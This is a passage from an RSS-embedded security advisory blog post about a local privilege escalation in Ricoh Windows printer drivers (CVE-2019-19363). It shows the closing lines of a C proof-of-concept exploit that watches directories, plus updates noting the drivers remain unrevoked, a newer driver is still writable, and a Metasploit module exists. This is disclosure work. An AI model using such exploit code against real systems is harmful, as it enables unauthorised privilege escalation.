&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-186"&gt;&lt;code data-line-number="186"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-186" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-186"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-187"&gt;&lt;code data-line-number="187"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-187" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-187"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Press &amp;lt;q&amp;gt; to exit&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-188"&gt;&lt;code data-line-number="188"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-188" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-188"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-189"&gt;&lt;code data-line-number="189"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-189" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-189"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Start watching&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-190"&gt;&lt;code data-line-number="190"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-190" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-190"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WatchDirectories&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-191"&gt;&lt;code data-line-number="191"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-191" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-191"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-192"&gt;&lt;code data-line-number="192"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-192" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-192"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-193"&gt;&lt;code data-line-number="193"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-193" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-193"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-194"&gt;&lt;code data-line-number="194"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-194" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-194"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-195"&gt;&lt;code data-line-number="195"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-195" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-195"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;/section&gt;
&lt;/section&gt;
&lt;section id="updates"&gt;
&lt;h2&gt;Updates&lt;/h2&gt;
&lt;p&gt;Update 2020-01-22: The old and vulnerable drivers are still valid. They are not revoked. We made &lt;a class="reference external" href="https://vimeo.com/386585401"&gt;a video of the proof of concept exploit in action&lt;/a&gt;. As a clarification, adding printers does not need administrative access, while installing the driver needs local admin access, but not when the driver is reinstalled and not, when installing printer drivers is allowed via GPOs.&lt;/p&gt;
&lt;p&gt;Update 2020-01-31: Pentagrid had a look at the "PCL6 Driver for Universal Print, Version 4.26.0.0, Released Date: 01/17/2020" driver (&lt;a class="reference external" href="https://support.ricoh.com/bb/pub_e/dr_ut_e/0001316/0001316926/V42600/z88755L19.exe"&gt;https://support.ricoh.com/bb/pub_e/dr_ut_e/0001316/0001316926/V42600/z88755L19.exe&lt;/a&gt;). While the file permissions of the DLLs and the &lt;code class="docutils literal"&gt;dlz&lt;/code&gt; directory are adjusted and do not grant any user write permissions, the permissions of the directories above this level have not changed and are still writeable.&lt;/p&gt;
&lt;p&gt;Update 2020-03-05: Rapid7 released &lt;a class="reference external" href="https://blog.rapid7.com/2020/02/14/metasploit-wrap-up-51/"&gt;a metasploit module&lt;/a&gt; developed by &lt;a class="reference external" href="https://twitter.com/SpaceySpacek"&gt;Shelby Pace&lt;/a&gt; that exploits the Ricoh vulnerability.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/</guid><pubDate>Wed, 22 Jan 2020 05:42:00 GMT</pubDate></item></channel></rss>